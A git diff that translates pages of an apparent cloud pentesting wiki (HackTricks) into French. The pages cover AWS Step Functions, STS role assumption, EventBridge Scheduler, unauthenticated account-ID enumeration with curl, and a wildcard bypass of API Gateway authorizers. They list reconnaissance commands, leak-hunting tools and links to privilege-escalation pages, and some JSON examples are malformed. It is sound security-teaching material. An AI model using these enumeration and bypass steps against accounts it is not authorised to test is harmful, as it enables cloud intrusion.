-  ```json
-  "MapState": {
-    "Type": "Map",
-    "ItemsPath": "$.arrayItems",
-    "ItemProcessor": {
-        "ProcessorConfig": {
-            "Mode": "INLINE"
-        },
-        "StartAt": "AddState",
-        "States": {
-            "AddState": {
-                "Type": "Task",
-                "Resource": "arn:aws:states:::lambda:invoke",
-                "OutputPath": "$.Payload",
-                "Parameters": {
-                    "FunctionName": "arn:aws:lambda:<region>:<account-id>:function:add-function"
-                },
-                "End": true
-            }
-        }
-    },
-    "End": true
-    "ResultPath": "$.detail.added",
-    "ItemsPath": "$.added"
-  }
-  ```
-
-- **Distributed Mode**: Designed for large-scale parallel processing with high concurrency. Supports processing large datasets, such as those stored in Amazon S3, enabling a high concurrency of up 10,000 parallel child workflow executions, running these child as a separate child execution.
-
-  ```json
-  "DistributedMapState": {
-    "Type": "Map",
-    "ItemReader": {
-      "Resource": "arn:aws:states:::s3:getObject",
-      "Parameters": {
-        "Bucket": "my-bucket",
-        "Key": "data.csv"
-      }
-    },
-    "ItemProcessor": {
-      "ProcessorConfig": {
-        "Mode": "DISTRIBUTED",
-        "ExecutionType": "EXPRESS"
-      },
-      "StartAt": "ProcessItem",
-      "States": {
-        "ProcessItem": {
-          "Type": "Task",
-          "Resource": "arn:aws:lambda:region:account-id:function:my-function",
-          "End": true
-  	    }
-      }
-    },
-    "End": true
-    "ResultWriter": {
-      "Resource": "arn:aws:states:::s3:putObject",
-      "Parameters": {
-        "Bucket": "myOutputBucket",
-        "Prefix": "csvProcessJobs"
-  	  }
-  	}
-  }
-  ```
+```json
+"DistributedMapState": {
+"Type": "Map",
+"ItemReader": {
+"Resource": "arn:aws:states:::s3:getObject",
+"Parameters": {
+"Bucket": "my-bucket",
+"Key": "data.csv"
+}
+},
+"ItemProcessor": {
+"ProcessorConfig": {
+"Mode": "DISTRIBUTED",
+"ExecutionType": "EXPRESS"
+},
+"StartAt": "ProcessItem",
+"States": {
+"ProcessItem": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:region:account-id:function:my-function",
+"End": true
+}
+}
+},
+"End": true
+"ResultWriter": {
+"Resource": "arn:aws:states:::s3:putObject",
+"Parameters": {
+"Bucket": "myOutputBucket",
+"Prefix": "csvProcessJobs"
+}
+}
+}
+```
 
 ### Versions and aliases
 
-Step Functions also lets you manage workflow deployments through **versions** and **aliases** of state machines. A version represents a snapshot of a state machine that can be executed. Aliases serve as pointers to up to two versions of a state machine.
+Step Functions vous permet également de gérer les déploiements de flux de travail via des **versions** et des **alias** de machines d'état. Une version représente un instantané d'une machine d'état qui peut être exécuté. Les alias servent de pointeurs vers jusqu'à deux versions d'une machine d'état.
 
-- **Versions**: These immutable snapshots of a state machine are created from the most recent revision of that state machine. Each version is identified by a unique ARN that combines the state machine ARN with the version number, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Versions cannot be edited, but you can update the state machine and publish a new version, or use the desired state machine version.
-- **Aliases**: These pointers can reference up to two versions of the same state machine. Multiple aliases can be created for a single state machine, each identified by a unique ARN constructed by combining the state machine ARN with the alias name, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Aliases enable routing of traffic between one of the two versions of a state machine. Alternatively, an alias can point to a single specific version of the state machine, but not to other aliases. They can be updated to redirect to a different version of the state machine as needed, facilitating controlled deployments and workflow management.
+- **Versions** : Ces instantanés immuables d'une machine d'état sont créés à partir de la révision la plus récente de cette machine d'état. Chaque version est identifiée par un ARN unique qui combine l'ARN de la machine d'état avec le numéro de version, séparés par un deux-points (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Les versions ne peuvent pas être modifiées, mais vous pouvez mettre à jour la machine d'état et publier une nouvelle version, ou utiliser la version de machine d'état souhaitée.
+- **Aliases** : Ces pointeurs peuvent référencer jusqu'à deux versions de la même machine d'état. Plusieurs alias peuvent être créés pour une seule machine d'état, chacun identifié par un ARN unique construit en combinant l'ARN de la machine d'état avec le nom de l'alias, séparés par un deux-points (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Les alias permettent de diriger le trafic entre l'une des deux versions d'une machine d'état. Alternativement, un alias peut pointer vers une version spécifique de la machine d'état, mais pas vers d'autres alias. Ils peuvent être mis à jour pour rediriger vers une version différente de la machine d'état si nécessaire, facilitant les déploiements contrôlés et la gestion des flux de travail.
 
-For more detailed information about **ASL**, check: [**Amazon States Language**](https://states-language.net/spec.html).
+Pour des informations plus détaillées sur **ASL**, consultez : [**Amazon States Language**](https://states-language.net/spec.html).
 
 ## IAM Roles for State machines
 
-AWS Step Functions utilizes AWS Identity and Access Management (IAM) roles to control access to resources and actions within state machines. Here are the key aspects related to security and IAM roles in AWS Step Functions:
+AWS Step Functions utilise les rôles AWS Identity and Access Management (IAM) pour contrôler l'accès aux ressources et aux actions au sein des machines d'état. Voici les aspects clés liés à la sécurité et aux rôles IAM dans AWS Step Functions :
 
-- **Execution Role**: Each state machine in AWS Step Functions is associated with an IAM execution role. This role defines what actions the state machine can perform on your behalf. When a state machine transitions between states that interact with AWS services (like invoking Lambda functions, accessing DynamoDB, etc.), it assumes this execution role to carry out those actions.
-- **Permissions**: The IAM execution role must be configured with permissions that allow the necessary actions on other AWS services. For example, if your state machine needs to invoke AWS Lambda functions, the IAM role must have **`lambda:InvokeFunction`** permissions. Similarly, if it needs to write to DynamoDB, appropriate permissions (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, etc.) must be granted.
+- **Execution Role** : Chaque machine d'état dans AWS Step Functions est associée à un rôle d'exécution IAM. Ce rôle définit quelles actions la machine d'état peut effectuer en votre nom. Lorsqu'une machine d'état passe d'états qui interagissent avec des services AWS (comme invoquer des fonctions Lambda, accéder à DynamoDB, etc.), elle assume ce rôle d'exécution pour réaliser ces actions.
+- **Permissions** : Le rôle d'exécution IAM doit être configuré avec des permissions qui permettent les actions nécessaires sur d'autres services AWS. Par exemple, si votre machine d'état doit invoquer des fonctions AWS Lambda, le rôle IAM doit avoir des permissions **`lambda:InvokeFunction`**. De même, si elle doit écrire dans DynamoDB, des permissions appropriées (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, etc.) doivent être accordées.
 
 ## Enumeration
 
-ReadOnlyAccess policy is enough for all the following enumeration actions.
-
+La politique ReadOnlyAccess est suffisante pour toutes les actions d'énumération suivantes.
 ```bash
 # State machines #
 
@@ -310,10 +297,9 @@ aws stepfunctions describe-map-run --map-run-arn <value>
 ## Lists executions of a Map Run
 aws stepfunctions list-executions --map-run-arn <value> [--status-filter <RUNNING | SUCCEEDED | FAILED | TIMED_OUT | ABORTED | PENDING_REDRIVE>] [--redrive-filter <REDRIVEN | NOT_REDRIVEN>]
 ```
-
 ## Privesc
 
-In the following page, you can check how to **abuse Step Functions permissions to escalate privileges**:
+Dans la page suivante, vous pouvez vérifier comment **abuser des permissions des Step Functions pour escalader les privilèges** :
 
 {{#ref}}
 ../aws-privilege-escalation/aws-stepfunctions-privesc.md
@@ -338,7 +324,3 @@ In the following page, you can check how to **abuse Step Functions permissions t
 - [https://states-language.net/spec.html](https://states-language.net/spec.html)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md
index 385d55c3b..050f2833f 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md
@@ -4,62 +4,57 @@
 
 ## STS
 
-**AWS Security Token Service (STS)** is primarily designed to issue **temporary, limited-privilege credentials**. These credentials can be requested for **AWS Identity and Access Management (IAM)** users or for authenticated users (federated users).
+**AWS Security Token Service (STS)** est principalement conçu pour émettre des **identifiants temporaires à privilèges limités**. Ces identifiants peuvent être demandés pour des **utilisateurs AWS Identity and Access Management (IAM)** ou pour des utilisateurs authentifiés (utilisateurs fédérés).
 
-Given that STS's purpose is to **issue credentials for identity impersonation**, the service is immensely valuable for **escalating privileges and maintaining persistence**, even though it might not have a wide array of options.
+Étant donné que le but de STS est d'**émettre des identifiants pour l'usurpation d'identité**, le service est extrêmement précieux pour **l'escalade de privilèges et le maintien de la persistance**, même s'il peut ne pas avoir un large éventail d'options.
 
-### Assume Role Impersonation
+### Usurpation de rôle
 
-The action [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) provided by AWS STS is crucial as it permits a principal to acquire credentials for another principal, essentially impersonating them. Upon invocation, it responds with an access key ID, a secret key, and a session token corresponding to the specified ARN.
+L'action [AssumeRole](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) fournie par AWS STS est cruciale car elle permet à un principal d'acquérir des identifiants pour un autre principal, l'usurpant essentiellement. Lors de l'invocation, elle répond avec un ID de clé d'accès, une clé secrète et un jeton de session correspondant à l'ARN spécifié.
 
-For Penetration Testers or Red Team members, this technique is instrumental for privilege escalation (as elaborated [**here**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). However, it's worth noting that this technique is quite conspicuous and may not catch an attacker off guard.
+Pour les testeurs de pénétration ou les membres de l'équipe rouge, cette technique est essentielle pour l'escalade de privilèges (comme expliqué [**ici**](../aws-privilege-escalation/aws-sts-privesc.md#sts-assumerole)). Cependant, il convient de noter que cette technique est assez évidente et peut ne pas surprendre un attaquant.
 
-#### Assume Role Logic
-
-In order to assume a role in the same account if the **role to assume is allowing specifically a role ARN** like in:
+#### Logique d'assumer un rôle
 
+Pour assumer un rôle dans le même compte si le **rôle à assumer permet spécifiquement un ARN de rôle** comme dans :
 ```json
 {
-  "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "arn:aws:iam::<acc_id>:role/priv-role"
-      },
-      "Action": "sts:AssumeRole",
-      "Condition": {}
-    }
-  ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<acc_id>:role/priv-role"
+},
+"Action": "sts:AssumeRole",
+"Condition": {}
+}
+]
 }
 ```
+Le rôle **`priv-role`** dans ce cas, **n'a pas besoin d'être spécifiquement autorisé** à assumer ce rôle (avec cette autorisation, c'est suffisant).
 
-The role **`priv-role`** in this case, **doesn't need to be specifically allowed** to assume that role (with that allowance is enough).
-
-However, if a role is allowing an account to assume it, like in:
-
+Cependant, si un rôle permet à un compte de l'assumer, comme dans :
 ```json
 {
-  "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "arn:aws:iam::<acc_id>:root"
-      },
-      "Action": "sts:AssumeRole",
-      "Condition": {}
-    }
-  ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<acc_id>:root"
+},
+"Action": "sts:AssumeRole",
+"Condition": {}
+}
+]
 }
 ```
+Le rôle essayant de l'assumer aura besoin d'une **permission `sts:AssumeRole` spécifique** sur ce rôle **pour l'assumer**.
 
-The role trying to assume it will need a **specific `sts:AssumeRole` permission** over that role **to assume it**.
-
-If you try to assume a **role** **from a different account**, the **assumed role must allow it** (indicating the role **ARN** or the **external account**), and the **role trying to assume** the other one **MUST** to h**ave permissions to assume it** (in this case this isn't optional even if the assumed role is specifying an ARN).
+Si vous essayez d'assumer un **rôle** **d'un compte différent**, le **rôle assumé doit le permettre** (indiquant le **ARN** du rôle ou le **compte externe**), et le **rôle essayant d'assumer** l'autre **DOIT** avoir des **permissions pour l'assumer** (dans ce cas, ce n'est pas optionnel même si le rôle assumé spécifie un ARN).
 
 ### Enumeration
-
 ```bash
 # Get basic info of the creds
 aws sts get-caller-identity
@@ -72,10 +67,9 @@ aws sts get-session-token
 ## MFA
 aws sts get-session-token --serial-number <arn_device> --token-code <otp_code>
 ```
-
 ### Privesc
 
-In the following page you can check how to **abuse STS permissions to escalate privileges**:
+Dans la page suivante, vous pouvez vérifier comment **abuser des permissions STS pour escalader les privilèges** :
 
 {{#ref}}
 ../aws-privilege-escalation/aws-sts-privesc.md
@@ -98,7 +92,3 @@ In the following page you can check how to **abuse STS permissions to escalate p
 - [https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist](https://blog.christophetd.fr/retrieving-aws-security-credentials-from-the-aws-console/?utm_source=pocket_mylist)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md
index a2f2e0c2f..e448023de 100644
--- a/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md
@@ -1,54 +1,53 @@
-# AWS - EventBridge Scheduler Enum
+# AWS - Enumération du Planificateur EventBridge
 
-## EventBridge Scheduler
+## Planificateur EventBridge
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## EventBridge Scheduler
+## Planificateur EventBridge
 
-**Amazon EventBridge Scheduler** is a fully managed, **serverless scheduler designed to create, run, and manage tasks** at scale. It enables you to schedule millions of tasks across over 270 AWS services and 6,000+ API operations, all from a central service. With built-in reliability and no infrastructure to manage, EventBridge Scheduler simplifies scheduling, reduces maintenance costs, and scales automatically to meet demand. You can configure cron or rate expressions for recurring schedules, set one-time invocations, and define flexible delivery windows with retry options, ensuring tasks are reliably delivered based on the availability of downstream targets.
+**Amazon EventBridge Scheduler** est un **planificateur sans serveur entièrement géré conçu pour créer, exécuter et gérer des tâches** à grande échelle. Il vous permet de planifier des millions de tâches à travers plus de 270 services AWS et plus de 6 000 opérations API, le tout à partir d'un service central. Avec une fiabilité intégrée et aucune infrastructure à gérer, le Planificateur EventBridge simplifie la planification, réduit les coûts de maintenance et s'adapte automatiquement à la demande. Vous pouvez configurer des expressions cron ou de taux pour des horaires récurrents, définir des invocations uniques et définir des fenêtres de livraison flexibles avec des options de réessai, garantissant que les tâches sont livrées de manière fiable en fonction de la disponibilité des cibles en aval.
 
-There is an initial limit of 1,000,000 schedules per region per account. Even the official quotas page suggests, "It's recommended to delete one-time schedules once they've completed."&#x20;
+Il y a une limite initiale de 1 000 000 d'horaires par région et par compte. Même la page officielle des quotas suggère : "Il est recommandé de supprimer les horaires uniques une fois qu'ils sont terminés."&#x20;
 
-### Types of Schedules
+### Types d'Horaires
 
-Types of Schedules in EventBridge Scheduler:
+Types d'Horaires dans le Planificateur EventBridge :
 
-1. **One-time schedules** – Execute a task at a specific time, e.g., December 21st at 7 AM UTC.
-2. **Rate-based schedules** – Set recurring tasks based on a frequency, e.g., every 2 hours.
-3. **Cron-based schedules** – Set recurring tasks using a cron expression, e.g., every Friday at 4 PM.
+1. **Horaires uniques** – Exécutez une tâche à un moment spécifique, par exemple, le 21 décembre à 7h UTC.
+2. **Horaires basés sur le taux** – Définissez des tâches récurrentes en fonction d'une fréquence, par exemple, toutes les 2 heures.
+3. **Horaires basés sur cron** – Définissez des tâches récurrentes en utilisant une expression cron, par exemple, tous les vendredis à 16h.
 
-Two Mechanisms for Handling Failed Events:
+Deux Mécanismes pour Gérer les Événements Échoués :
 
-1. **Retry Policy** – Defines the number of retry attempts for a failed event and how long to keep it unprocessed before considering it a failure.
-2. **Dead-Letter Queue (DLQ)** – A standard Amazon SQS queue where failed events are delivered after retries are exhausted. DLQs help in troubleshooting issues with your schedule or its downstream target.
+1. **Politique de Réessai** – Définit le nombre de tentatives de réessai pour un événement échoué et combien de temps le garder non traité avant de le considérer comme un échec.
+2. **File d'Attente de Lettres Mortes (DLQ)** – Une file d'attente Amazon SQS standard où les événements échoués sont livrés après que les réessais ont été épuisés. Les DLQ aident à résoudre les problèmes avec votre horaire ou sa cible en aval.
 
-### Targets
+### Cibles
 
-There are 2 types of targets for a scheduler [**templated (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), which are commonly used and AWS made them easier to configure, and [**universal (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), which can be used to call any AWS API.
+Il existe 2 types de cibles pour un planificateur [**templées (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html), qui sont couramment utilisées et qu'AWS a rendues plus faciles à configurer, et [**universelles (docs)**](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html), qui peuvent être utilisées pour appeler n'importe quelle API AWS.
 
-**Templated targets** support the following services:
+**Cibles templées** prennent en charge les services suivants :
 
 - CodeBuild – StartBuild
 - CodePipeline – StartPipelineExecution
 - Amazon ECS – RunTask
-  - Parameters: EcsParameters
+- Paramètres : EcsParameters
 - EventBridge – PutEvents
-  - Parameters: EventBridgeParameters
+- Paramètres : EventBridgeParameters
 - Amazon Inspector – StartAssessmentRun
 - Kinesis – PutRecord
-  - Parameters: KinesisParameters
+- Paramètres : KinesisParameters
 - Firehose – PutRecord
 - Lambda – Invoke
 - SageMaker – StartPipelineExecution
-  - Parameters: SageMakerPipelineParameters
+- Paramètres : SageMakerPipelineParameters
 - Amazon SNS – Publish
 - Amazon SQS – SendMessage
-  - Parameters: SqsParameters
+- Paramètres : SqsParameters
 - Step Functions – StartExecution
 
-### Enumeration
-
+### Énumération
 ```bash
 # List all EventBridge Scheduler schedules
 aws scheduler list-schedules
@@ -65,21 +64,16 @@ aws scheduler get-schedule-group --name <group_name>
 # List tags for a specific schedule (helpful in identifying any custom tags or permissions)
 aws scheduler list-tags-for-resource --resource-arn <schedule_group_arn>
 ```
-
 ### Privesc
 
-In the following page, you can check how to **abuse eventbridge scheduler permissions to escalate privileges**:
+Dans la page suivante, vous pouvez vérifier comment **abuser des permissions de l'eventbridge scheduler pour escalader les privilèges** :
 
 {{#ref}}
 ../aws-privilege-escalation/eventbridgescheduler-privesc.md
 {{#endref}}
 
-## References
+## Références
 
 - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md
index 0003290b4..97d11b252 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md
@@ -1,58 +1,54 @@
-# AWS - Unauthenticated Enum & Access
+# AWS - Enum & Accès non authentifié
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## AWS Credentials Leaks
+## Fuites de Credentials AWS
 
-A common way to obtain access or information about an AWS account is by **searching for leaks**. You can search for leaks using **google dorks**, checking the **public repos** of the **organization** and the **workers** of the organization in **Github** or other platforms, searching in **credentials leaks databases**... or in any other part you think you might find any information about the company and its cloud infa.\
-Some useful **tools**:
+Une méthode courante pour obtenir un accès ou des informations sur un compte AWS est de **chercher des fuites**. Vous pouvez rechercher des fuites en utilisant **google dorks**, en vérifiant les **repos publics** de l'**organisation** et des **travailleurs** de l'organisation sur **Github** ou d'autres plateformes, en recherchant dans des **bases de données de fuites de credentials**... ou dans toute autre partie où vous pensez pouvoir trouver des informations sur l'entreprise et son infrastructure cloud.\
+Quelques **outils** utiles :
 
 - [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos)
 - [https://github.com/carlospolop/pastos](https://github.com/carlospolop/pastos)
 - [https://github.com/carlospolop/gorks](https://github.com/carlospolop/gorks)
 
-## AWS Unauthenticated Enum & Access
+## Enum & Accès non authentifié AWS
 
-There are several services in AWS that could be configured giving some kind of access to all Internet or to more people than expected. Check here how:
+Il existe plusieurs services dans AWS qui pourraient être configurés pour donner un certain type d'accès à tout Internet ou à plus de personnes que prévu. Vérifiez ici comment :
 
-- [**Accounts Unauthenticated Enum**](aws-accounts-unauthenticated-enum.md)
-- [**Cloud9 Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md)
-- [**Cloudfront Unauthenticated Enum**](aws-cloudfront-unauthenticated-enum.md)
-- [**Cloudsearch Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md)
-- [**Cognito Unauthenticated Enum**](aws-cognito-unauthenticated-enum.md)
-- [**DocumentDB Unauthenticated Enum**](aws-documentdb-enum.md)
-- [**EC2 Unauthenticated Enum**](aws-ec2-unauthenticated-enum.md)
-- [**Elasticsearch Unauthenticated Enum**](aws-elasticsearch-unauthenticated-enum.md)
-- [**IAM Unauthenticated Enum**](aws-iam-and-sts-unauthenticated-enum.md)
-- [**IoT Unauthenticated Access**](aws-iot-unauthenticated-enum.md)
-- [**Kinesis Video Unauthenticated Access**](aws-kinesis-video-unauthenticated-enum.md)
-- [**Media Unauthenticated Access**](aws-media-unauthenticated-enum.md)
-- [**MQ Unauthenticated Access**](aws-mq-unauthenticated-enum.md)
-- [**MSK Unauthenticated Access**](aws-msk-unauthenticated-enum.md)
-- [**RDS Unauthenticated Access**](aws-rds-unauthenticated-enum.md)
-- [**Redshift Unauthenticated Access**](aws-redshift-unauthenticated-enum.md)
-- [**SQS Unauthenticated Access**](aws-sqs-unauthenticated-enum.md)
-- [**S3 Unauthenticated Access**](aws-s3-unauthenticated-enum.md)
+- [**Enumération non authentifiée des comptes**](aws-accounts-unauthenticated-enum.md)
+- [**Enumération non authentifiée de Cloud9**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md)
+- [**Enumération non authentifiée de Cloudfront**](aws-cloudfront-unauthenticated-enum.md)
+- [**Enumération non authentifiée de Cloudsearch**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md)
+- [**Enumération non authentifiée de Cognito**](aws-cognito-unauthenticated-enum.md)
+- [**Enumération non authentifiée de DocumentDB**](aws-documentdb-enum.md)
+- [**Enumération non authentifiée d'EC2**](aws-ec2-unauthenticated-enum.md)
+- [**Enumération non authentifiée d'Elasticsearch**](aws-elasticsearch-unauthenticated-enum.md)
+- [**Enumération non authentifiée d'IAM**](aws-iam-and-sts-unauthenticated-enum.md)
+- [**Accès non authentifié IoT**](aws-iot-unauthenticated-enum.md)
+- [**Accès non authentifié Kinesis Video**](aws-kinesis-video-unauthenticated-enum.md)
+- [**Accès non authentifié Media**](aws-media-unauthenticated-enum.md)
+- [**Accès non authentifié MQ**](aws-mq-unauthenticated-enum.md)
+- [**Accès non authentifié MSK**](aws-msk-unauthenticated-enum.md)
+- [**Accès non authentifié RDS**](aws-rds-unauthenticated-enum.md)
+- [**Accès non authentifié Redshift**](aws-redshift-unauthenticated-enum.md)
+- [**Accès non authentifié SQS**](aws-sqs-unauthenticated-enum.md)
+- [**Accès non authentifié S3**](aws-s3-unauthenticated-enum.md)
 
-## Cross Account Attacks
+## Attaques inter-comptes
 
-In the talk [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) it's presented how some services allow(ed) any AWS account accessing them because **AWS services without specifying accounts ID** were allowed.
+Dans la présentation [**Briser l'Isolation : Vulnérabilités AWS inter-comptes**](https://www.youtube.com/watch?v=JfEFIcpJ2wk), il est présenté comment certains services permettaient à n'importe quel compte AWS d'y accéder parce que **les services AWS sans spécifier d'ID de compte** étaient autorisés.
 
-During the talk they specify several examples, such as S3 buckets **allowing cloudtrai**l (of **any AWS** account) to **write to them**:
+Au cours de la présentation, plusieurs exemples sont spécifiés, tels que des buckets S3 **permettant à cloudtrail** (de **n'importe quel AWS** compte) de **leur écrire** :
 
 ![](<../../../images/image (260).png>)
 
-Other services found vulnerable:
+Autres services trouvés vulnérables :
 
 - AWS Config
-- Serverless repository
+- Répertoire Serverless
 
-## Tools
+## Outils
 
-- [**cloud_enum**](https://github.com/initstring/cloud_enum): Multi-cloud OSINT tool. **Find public resources** in AWS, Azure, and Google Cloud. Supported AWS services: Open / Protected S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, etc.)
+- [**cloud_enum**](https://github.com/initstring/cloud_enum) : Outil OSINT multi-cloud. **Trouvez des ressources publiques** dans AWS, Azure et Google Cloud. Services AWS pris en charge : Buckets S3 ouverts / protégés, awsapps (WorkMail, WorkDocs, Connect, etc.)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
index 84c70ed0e..438e4f69f 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
@@ -2,14 +2,13 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Account IDs
+## Identifiants de compte
 
-If you have a target there are ways to try to identify account IDs of accounts related to the target.
+Si vous avez une cible, il existe des moyens d'essayer d'identifier les identifiants de compte des comptes liés à la cible.
 
-### Brute-Force
-
-You create a list of potential account IDs and aliases and check them
+### Force brute
 
+Vous créez une liste d'identifiants de compte et d'alias potentiels et les vérifiez.
 ```bash
 # Check if an account ID exists
 curl -v https://<acount_id>.signin.aws.amazon.com
@@ -17,33 +16,28 @@ curl -v https://<acount_id>.signin.aws.amazon.com
 ## It also works from account aliases
 curl -v https://vodafone-uk2.signin.aws.amazon.com
 ```
-
-You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py).
+Vous pouvez [automatiser ce processus avec cet outil](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py).
 
 ### OSINT
 
-Look for urls that contains `<alias>.signin.aws.amazon.com` with an **alias related to the organization**.
+Recherchez des URLs contenant `<alias>.signin.aws.amazon.com` avec un **alias lié à l'organisation**.
 
 ### Marketplace
 
-If a vendor has **instances in the marketplace,** you can get the owner id (account id) of the AWS account he used.
+Si un vendeur a des **instances sur le marketplace,** vous pouvez obtenir l'identifiant du propriétaire (identifiant de compte) du compte AWS qu'il a utilisé.
 
 ### Snapshots
 
-- Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots)
-- RDS public snapshots (RDS -> Snapshots -> All Public Snapshots)
-- Public AMIs (EC2 -> AMIs -> Public images)
+- Snapshots EBS publics (EC2 -> Snapshots -> Snapshots publics)
+- Snapshots RDS publics (RDS -> Snapshots -> Tous les snapshots publics)
+- AMIs publics (EC2 -> AMIs -> Images publiques)
 
-### Errors
+### Erreurs
 
-Many AWS error messages (even access denied) will give that information.
+De nombreux messages d'erreur AWS (même accès refusé) fourniront cette information.
 
-## References
+## Références
 
 - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
index 5a69bebe0..285048f3d 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
@@ -2,59 +2,51 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### API Invoke bypass
-
-According to the talk [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers can be configured **using IAM syntax** to give permissions to invoke API endpoints. This is taken [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html):
+### Contournement de l'invocation de l'API
 
+Selon la présentation [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), les Lambda Authorizers peuvent être configurés **en utilisant la syntaxe IAM** pour donner des permissions d'invocation des points de terminaison de l'API. Cela est tiré [**de la documentation**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html):
 ```json
 {
-  "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Effect": "Permission",
-      "Action": ["execute-api:Execution-operation"],
-      "Resource": [
-        "arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path"
-      ]
-    }
-  ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Permission",
+"Action": ["execute-api:Execution-operation"],
+"Resource": [
+"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path"
+]
+}
+]
 }
 ```
+Le problème avec cette façon de donner des permissions pour invoquer des points de terminaison est que le **"\*" implique "tout"** et qu'il **n'y a plus de syntaxe regex supportée**.
 
-The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**.
+Quelques exemples :
 
-Some examples:
-
-- A rule such as `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` in order to give each user access to `/dashboard/user/{username}` will give them access to other routes such as `/admin/dashboard/createAdmin` for example.
